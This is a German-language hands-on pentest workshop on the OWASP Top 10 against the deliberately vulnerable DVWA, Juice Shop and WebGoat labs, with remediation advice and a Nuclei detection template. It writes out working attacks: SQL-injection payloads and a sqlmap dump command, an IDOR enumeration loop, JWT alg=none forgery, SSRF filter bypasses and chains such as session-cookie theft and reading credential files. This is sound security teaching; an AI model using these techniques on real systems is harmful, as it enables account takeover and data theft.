OWASP Top 10 — Praktischer Workshop

Sie nehmen DVWA, Juice Shop und WebGoat, alle drei mit einem einzigen docker compose gestartet. Sie bringen drei Schwachstellen aus drei verschiedenen Kategorien des Top 10 zu Fall. Für jede: Anfrage, Antwort, Wirkungsnachweis. Bonus: eine Kette, die mindestens zwei davon verbindet.

Aufwand: 3 Std.

Abgabe: ~/labs/rapport/owasp.md mit drei vollständigen Steckbriefen + ~/labs/preuves/ mit allen Artefakten.

Rahmen

Diese Angriffe werden ausschließlich gegen DVWA, Juice Shop, WebGoat oder ein Ziel unter expliziten Rules of Engagement ausgeführt. Kein Schuss nach außen. Das ist nicht verhandelbar.

Voraussetzungen

Docker Desktop betriebsbereit (siehe Modul 01). Kein weiterer Download nötig: das Compose kümmert sich um alles.

Burp Suite Community auf Ihrem Host installiert (freier Download: portswigger.net). Der Host-Proxy fängt die Anfragen Ihres Browsers an die Container ab, genau wie im echten Leben.

Firefox wird empfohlen: toleranter gegenüber einem eigenen CA als Chrome/Edge.

Schritt 1 — Das Lab starten (3 Min.)

cd labs/docker/module-07-owasp
docker compose up -d

Vier Container starten. Rechnen Sie mit etwa 60 Sekunden, bis WebGoat (Spring, schwergewichtig) bereit ist.

Gesundheit prüfen:

cd ..
./verifier-lab.sh module-07-owasp     # bash / macOS / Linux / WSL
.\verifier-lab.ps1 module-07-owasp    # PowerShell

Öffnen Sie die drei Ziele in Ihrem Browser (über den Host, veröffentlichte Ports):

DVWA — http://localhost:4280 — admin / password, dann Create / Reset Database
Juice Shop — http://localhost:3000 — kein Konto erforderlich, für authentifizierte Challenges registrieren
WebGoat — http://localhost:8888/WebGoat — registrieren, anmelden

Ein Nachweisordner auf der Angreiferseite:

docker compose exec attaquant bash
mkdir -p ~/labs/{preuves,rapport}
cd ~/labs

Definition — warum drei Ziele und nicht nur Juice Shop oder DVWA

Jedes Ziel repräsentiert eine Epoche und einen Stack der Webentwicklung, und jedes zeigt eine Familie von Schwachstellen, die die beiden anderen nicht ebenso gut zeigen.

DVWA (Damn Vulnerable Web Application) ist in PHP im Stil der Jahre 2005-2010 geschrieben: mysql_query, einfache Cookies, kein Framework. Es ist der beste Boden, um die grundlegenden Schwachstellen zu verstehen — klassische SQL-Injection, reflektiertes XSS, File Inclusion, ungefiltertes Upload. Sie sehen den Quellcode, Sie sehen den Patch. Der Schwierigkeitsgrad ist einstellbar (Low/Medium/High/Impossible), was das Lernen progressiv macht.

Juice Shop ist in Node.js/Angular geschrieben, der Archetyp der modernen Webanwendung: REST-API, JWT, SPA, Express-Backend, SQLite-Datenbank. Die Schwachstellen sind die, die man 2026 in Startups findet — IDOR auf /api/basket, gespeichertes XSS über die API, schlecht signierte JWTs, NoSQL-Injection, kaputte horizontale Zugriffskontrolle. Es macht auch Spaß: Das Score-Board hält Ihre gelösten Challenges fest.

WebGoat ist in Java/Spring geschrieben, dem in Großunternehmen verbreitetsten Stack. Es bietet pädagogisch geführte Szenarien: Jede Lektion beschreibt das Problem, liefert den Codekontext und validiert Ihre Ausnutzung. Hier vertieft man die weniger sichtbaren Kategorien — schlecht gemachte Verschlüsselung (A02), kaputte Authentifizierung (A07), gefährliche Deserialisierung, Zugriffskontrolle auf JSON-APIs.

Zusammen decken die drei Ziele die Gesamtheit der zehn Kategorien des OWASP Top 10 2021 ab. Deshalb starten wir sie alle gleichzeitig: Sie wählen die beste Anwendung für jede Übung, statt ein Lab zu verbiegen, um es zu zwingen, eine Schwachstelle zu zeigen, die es nicht kennt.

Schritt 2 — Burp konfigurieren (5 Min.)

Auf Ihrem Host:

Burp Suite Community starten, Temporary project, Use Burp defaults wählen.
Tab Proxy → Options, prüfen, dass Burp auf 127.0.0.1:8080 lauscht.
In Firefox: Preferences → Network Settings → Manual proxy configuration:
- HTTP Proxy: 127.0.0.1, Port: 8080
- Also use this proxy for HTTPS ankreuzen
http://burpsuite in Firefox öffnen, das CA-Zertifikat herunterladen und importieren (über Settings → Certificates → View certificates → Import).

Schneller Test: in Proxy → Intercept die Interception aktivieren. http://localhost:4280 in Firefox neu laden. Burp fängt ab, Sie klicken Forward, die Seite wird angezeigt.

Definition — die Rolle des Proxys und warum Burp unumgänglich ist

Ein HTTP-Proxy sitzt zwischen Ihrem Browser und dem Server. Jede Anfrage, die Firefox sendet, geht zuerst durch Burp, das sie Ihnen zeigt, Sie sie ändern lässt und sie dann weiterleitet. Jede Antwort macht den umgekehrten Weg. Sie haben vollständigen Zugriff auf das, was auf der Leitung passiert, einschließlich HTTP-Header, Cookies, Anfrage-/Antwortkörper.

Ohne dieses Kontrollniveau ist eine gute Hälfte der Web-Schwachstellen unsichtbar. Der IDOR auf /api/basket/2 erfordert, eine Anfrage mit geänderter Ziffer erneut zu senden. Die SQL-Injection erfordert, die genaue Fehlermeldung zu beobachten, die der Server zurückgibt. Die Zugriffskontrolle erfordert, an einem Cookie zu manipulieren. Keine dieser Handlungen ist von einem normalen Browser aus möglich — aber alle sind von Burp aus trivial.

Burp Suite Community ist kostenlos und reicht für diesen Workshop aus. Die Pro-Version fügt einen automatischen Scanner (Active Scan) und einen Intruder ohne Ratenbegrenzung hinzu, unverzichtbar im professionellen Einsatz. Die Denkweise ist in beiden Versionen identisch. Gewöhnen Sie sich das in Community an: Sie werden ab dem ersten Tag mit Pro vertraut sein.

Schritt 3 — 3 Kategorien auswählen (10 Min.)

Sie müssen 3 verschiedene Kategorien aus diesen sechs abdecken (die lehrreichsten):

Kategorie	Empfohlenes Terrain	Notizen
A01 — Access Control (IDOR oder vertikal)	Juice Shop `/api/basket/*`	Reiner IDOR, sehr sichtbar in Burp.
A03 — SQL-Injection	DVWA `SQL Injection`	Klassisch mit sqlmap, progressiver Schwierigkeitsgrad.
A03 — Gespeichertes XSS	Juice Shop Customer Feedback	Wirkungsnachweis via Redirect oder Keylogger.
A05 — Security Misconfiguration	DVWA (Header, Dir Listing)	`/config/config.inc.php` finden.
A07 — Identification/Authentication	Juice Shop `/rest/user/login` JWT	JWT `alg=none` oder schwacher Schlüssel.
A10 — SSRF / LFI	WebGoat Server-Side Request Forgery	Geführtes Szenario, Callback über WebWolf.

Notieren Sie Ihre Wahl am Anfang von rapport/owasp.md, mit einem Begründungssatz pro Kategorie. Die Begründung zeigt, dass Sie Ihren Angriff durchdenken, nicht dass Sie einfach das nehmen, was gerade herumliegt.

Schritt 4 — Angreifen, Kategorie 1 (60 Min.)

Nehmen wir ein konkretes Beispiel: A03 — SQL-Injection auf DVWA.

http://localhost:4280 öffnen, anmelden, Security = Low einstellen.
SQL Injection im Menü öffnen.
In der Leiste User ID: 1 senden. Antwort beobachten: Name + Spitzname.
1' OR '1'='1 senden. Die gesamte Tabelle erscheint — Signatur einer SQLi.

Senden Sie die Anfrage in Burp an Repeater (Strg+R), dann an Intruder, um mehrere Payloads zu testen. Parallel dazu, vom Angreifer-Kali aus:

docker compose exec attaquant bash
sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="security=low; PHPSESSID=$COOKIE_DVWA" \
  --batch --dump -D dvwa -T users

Holen Sie das Cookie PHPSESSID aus den DevTools von Firefox. Sqlmap identifiziert die Injection automatisch, dumpt die Tabelle dvwa.users, knackt die MD5-Hashes der Passwörter.

Wirkungsnachweis: der Inhalt von dvwa.users (5 Konten), das Passwort von admin im Klartext („password"), und ein Screenshot des sqlmap-Befehls, der mit [INFO] the back-end DBMS is MySQL endet.

Speichern Sie die Spur:

sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="security=low; PHPSESSID=$COOKIE_DVWA" \
  --batch --dump -D dvwa -T users --output-dir=preuves/sqli

Füllen Sie dann in rapport/owasp.md den Steckbrief aus:

## Schwachstelle — A03: SQL-Injection in DVWA /vulnerabilities/sqli

### Kontext
- URL: http://dvwa/vulnerabilities/sqli/?id=1
- Rolle: angemeldeter Benutzer (beliebiger)
- DVWA-Schwierigkeitsgrad: Low

### POC (technischer Nachweis)
- Gesendete Anfrage:
  ```http
  GET /vulnerabilities/sqli/?id=1' OR '1'='1&Submit=Submit HTTP/1.1
  Host: dvwa
  Cookie: security=low; PHPSESSID=xxxx
  ```
- Antwort (Auszug): fünf statt einer Zeile zurückgegeben, was beweist, dass der Parameter `id` ohne Escaping in eine `WHERE`-Klausel eingefügt wird.

### Wirkungsnachweis
- sqlmap-Payload: vollständiger Dump von `dvwa.users`
- Ergebnis: 5 Konten erhalten, darunter `admin` im Klartext (`password`), `gordonb` (`abc123`), `1337` (`charley`).
- Artefakte: `preuves/sqli/dump/dvwa/users.csv`, `preuves/sqli/log`

### Empfehlung
- Sofort: Parameter über Prepared Statements übergeben (`mysqli::prepare`).
- Grundlegend: statisches Audit des PHP-Codes, Ergänzung um eine Anwendungs-WAF, Schulung der Entwickler.

Jeder Abschnitt ist verpflichtend. Ohne Wirkungsnachweis ist der Steckbrief wertlos.

Schritt 5 — Kategorie 2 (60 Min.)

Gleiche Anforderung, andere Kategorie. Beispiel: A01 — IDOR auf Juice Shop.

Auf http://localhost:3000/#/register registrieren (user1@juice.local / Pentest1!).
Anmelden, einen Artikel in den Warenkorb legen.
Burp HTTP history öffnen, die Anfrage GET /rest/basket/6 finden (die ID variiert je nach Ihrem Benutzer).
Über Repeater erneut senden, dabei /rest/basket/6 → /rest/basket/1 ändern. Sie erhalten den Warenkorb des Admins.

Wirkungsnachweis: der JSON-Inhalt des Warenkorbs 1 (wahrscheinlich mehrere teure Artikel), und vor allem die Tatsache, dass keine Prüfung zwischen dem JWT-Token von user1 und dem Eigentümer des Warenkorbs 1 stattfindet.

Auf der Angreiferseite automatisieren:

for i in 1 2 3 4 5 6 7 8 9 10; do
  curl -s "http://juice-shop:3000/rest/basket/$i" \
    -H "Authorization: Bearer $JWT" \
    | jq . > preuves/idor/basket-$i.json
done

Sie erhalten zehn Warenkörbe von zehn verschiedenen Benutzern in drei Sekunden. Das ist die Definition eines verkettbaren IDOR.

Schritt 6 — Kategorie 3 (60 Min.)

Wieder eine andere. Beispiel: A07 — JWT alg=none auf Juice Shop.

Ihr aktuelles JWT über Burp holen (im Header Authorization).
Auf https://jwt.io/#debugger-io dekodieren. Header {"alg":"HS256"}, Payload mit Ihrer E-Mail.
Den Header in {"alg":"none"} ändern, die E-Mail im Payload durch admin@juice-sh.op ersetzen, die Signatur entfernen (nur header.payload.).
Über Burp erneut senden, dabei dieses geänderte Token einfügen.

Bei den verwundbaren Versionen von Juice Shop funktioniert das: Sie sind Admin. Bei gepatchten Versionen schlägt es fehl — das Fehlschlagen zu dokumentieren ist ebenfalls ein Nachweis.

Wirkungsnachweis: Screenshot der Admin-Oberfläche (/#/administration), oder der expliziten Ablehnung mit der vollständigen Spur für Ihren Bericht.

Definition — JWT und die Falle von alg=none

Ein JSON Web Token (JWT) ist eine kompakte Zeichenkette aus drei durch Punkte getrennten Teilen: ein Header als JSON, ein Payload als JSON und eine Signatur. Die Signatur garantiert, dass niemand den Inhalt geändert hat — sie wird vom Server mit einem geheimen Schlüssel berechnet und bei jeder Anfrage überprüft.

Der Header enthält ein Feld alg, das den erwarteten Signaturalgorithmus angibt: HS256, RS256, ES384… Die ursprüngliche Spezifikation sah auch den Wert none vor, der nur in Kontexten verwendet werden sollte, in denen die Signatur unnötig ist (bereits durch einen übergeordneten Kanal verschlüsselt). In der Praxis haben mehrere Bibliotheken die Signaturprüfung implementiert, indem sie dem alg-Feld des Headers vertrauten — wenn der Client alg=none sagt, prüft die Bibliothek nichts.

Ergebnis: Jeder kann ein Token fälschen, indem er den Payload ändert, alg=none in den Header schreibt und die Signatur entfernt. Der Server akzeptiert das Token als gültig und authentifiziert Sie unter einer beliebigen Identität.

Die Schwachstelle ist seit 2015 bekannt und in allen modernen Bibliotheken behoben, schleppt sich aber noch in Legacy-Anwendungen oder benutzerdefinierten Konfigurationen mit. Sie ist auch das beste Beispiel, um das Prinzip „der Client-Seite niemals vertrauen, wenn sie sagt, was sie ist" zu veranschaulichen. Der Server muss den Algorithmus vorschreiben, das eingehende alg-Feld des Tokens vollständig ignorieren und nur seine interne Konfiguration zur Prüfung verwenden.

Schritt 7 — Die Kette (30 Min.)

Eine Kette mindestens, die zwei von Ihnen gefundene Schwachstellen kombiniert und eine Auswirkung erzeugt, die größer ist als die Summe der Teile.

Beispiele solider Ketten:

Gespeichertes XSS → Diebstahl des Admin-Session-Cookies → Übernahme der Admin-Kontrolle (Juice Shop Customer Feedback + Juice Shop Admin-Panel)
IDOR → Aufzählung aller E-Mails → Password Spraying → Kompromittierung von 10 Konten (Juice Shop /api/users + /rest/user/login)
SQLi → Dump der Konfigurationsdatei → JWT-Schlüssel → Fälschung eines Admin-Tokens (DVWA + Juice Shop, bei Wiederverwendung des Schlüssels, falls Sie ihn erhalten)
LFI → Lesen von /etc/passwd, dann /proc/self/environ → Erhalt eines Anwendungs-Secrets → JWT-Fälschung
SSRF → Lesen der AWS-Credentials über Metadata → Cloud-Übernahme (WebGoat-Szenario + Erinnerung an Modul 11)

Dokumentieren Sie die Kette in rapport/chaine.md:

# Angriffskette — <kurzer Titel>

## Schritt 1 — <Schwachstelle A>
Kurze Beschreibung, zitiert das verwendete Artefakt.

## Schritt 2 — <Schwachstelle B>
Ebenso.

## Schritt 3 — <kombinierte Ausnutzung>
Wie die Ausgabe von A als Eingabe für B diente.

## Kombinierte Auswirkung
Ein starker Satz, wenn möglich quantifiziert ("Kompromittierung von 10 Benutzerkonten in 3 Minuten").

## Warum das schwerwiegender ist als die Summe der Teile
Ein Satz: was jede einzeln nicht ermöglichen würde.

Das ist der im technischen Vorstellungsgespräch am meisten geschätzte Teil: zeigen, dass man verketten kann.

Schritt 8 — Zusammenfassungstabelle (15 Min.)

Fügen Sie dem Bericht eine zusammenfassende Tabelle hinzu:

| Kategorie | Titel | Schweregrad | Nachweis | Verkettbar |
| --- | --- | --- | --- | --- |
| A03 | SQLi in DVWA /vulnerabilities/sqli | Kritisch | preuves/sqli/ | Ja, mit A07 |
| A01 | IDOR auf /rest/basket (Juice Shop) | Hoch | preuves/idor/ | Ja, mit A03 |
| A07 | JWT alg=none (Juice Shop) | Kritisch | preuves/jwt/ | Ja, mit A01 |

Selbstbewertungsraster

Drei verschiedene Kategorien abgedeckt.
Jeder Steckbrief: Kontext + POC + Wirkungsnachweis + Empfehlung.
Alle Anfragen/Antworten aus Burp nach preuves/ exportiert.
Kein Steckbrief beschränkt sich auf ein alert(1) oder ein id=1'--.
Eine Kette in chaine.md dokumentiert mit mindestens zwei Schwachstellen.
Vollständige Zusammenfassungstabelle.
Keine Massenextraktion von Daten (Einhaltung des Workshop-RoE).
Alle Angriffe auf autorisierte Ziele — ausschließlich DVWA, Juice Shop, WebGoat.

Optionale Erweiterung — Ein Nuclei-Template schreiben

Nehmen Sie die einfachste Schwachstelle, die Sie gefunden haben. Schreiben Sie ein Nuclei-YAML-Template, das sie erkennt:

id: juice-shop-idor-basket
info:
  name: Juice Shop - IDOR on /rest/basket
  author: <Sie>
  severity: high

http:
  - method: GET
    path:
      - '{{BaseURL}}/rest/basket/1'
    headers:
      Authorization: "Bearer {{token}}"
    matchers:
      - type: word
        words:
          - '"UserId":1'

Testen Sie vom Angreifer-Container aus:

nuclei -u http://juice-shop:3000 -t votre-template.yaml

Ein funktionierendes Nuclei-Template ist das Äquivalent eines Blogbeitrags — das gehört ins Portfolio.

Was normalerweise blockiert

Symptom	Ursache	Korrektur
Burp sieht nichts	Proxy nicht konfiguriert oder HTTPS nicht abgefangen	`127.0.0.1:8080` prüfen, das CA über `http://burpsuite` importieren.
sqlmap sagt not injectable	Falscher Injektionspunkt	`-p id` präzisieren, `--level=3 --risk=2` anpassen.
XSS-Payload gefiltert	Schwierigkeitsgrad zu hoch	Zum Verständnis auf Low bei DVWA zurückgehen, dann wieder hochstufen.
JWT `alg=none` abgelehnt	Gepatchte Version	Als pädagogisches Scheitern dokumentieren — das ist ebenfalls ein Nachweis.
SSRF liefert nichts zurück	App filtert private IPs	`127.0.0.1`, dann `localhost`, dann `[::1]`, dann `2130706433` (dezimal) testen.
WebGoat verliert den Fortschritt	Session abgelaufen	Neu anmelden, wiederholen.
DVWA "Database error"	Datenbank nicht initialisiert	setup.php → Create/Reset Database.
`docker compose exec attaquant` schlägt fehl	Container nicht gestartet	`docker compose ps`, `docker compose up -d attaquant`.

Was Sie aus diesem Workshop mitnehmen

Drei tatsächlich ausgenutzte Schwachstellen, mit Nachweisen.
Eine Kette, die Ihre Denkweise zeigt.
Ein Bericht, strukturiert wie der eines Kunden-Pentests.
Die Fähigkeit, diese Angriffe im technischen Vorstellungsgespräch zu reproduzieren, mit Docker Desktop als einziger Abhängigkeit.
Kontakt mit drei verschiedenen Web-Stacks (PHP Legacy, Node modern, Java Spring) — die drei Welten, denen Sie in Ihrer Karriere begegnen werden.

Nächster Schritt: das Modulquiz. Danach geht es in Modul 8 — Metasploit — wo wir im großen Maßstab automatisieren und verketten.

Voraussetzungen​

Schritt 1 — Das Lab starten (3 Min.)​

Schritt 2 — Burp konfigurieren (5 Min.)​

Schritt 3 — 3 Kategorien auswählen (10 Min.)​

Schritt 4 — Angreifen, Kategorie 1 (60 Min.)​

Schritt 5 — Kategorie 2 (60 Min.)​

Schritt 6 — Kategorie 3 (60 Min.)​

Schritt 7 — Die Kette (30 Min.)​

Schritt 8 — Zusammenfassungstabelle (15 Min.)​

Selbstbewertungsraster​

Optionale Erweiterung — Ein Nuclei-Template schreiben​

Was normalerweise blockiert​

Was Sie aus diesem Workshop mitnehmen​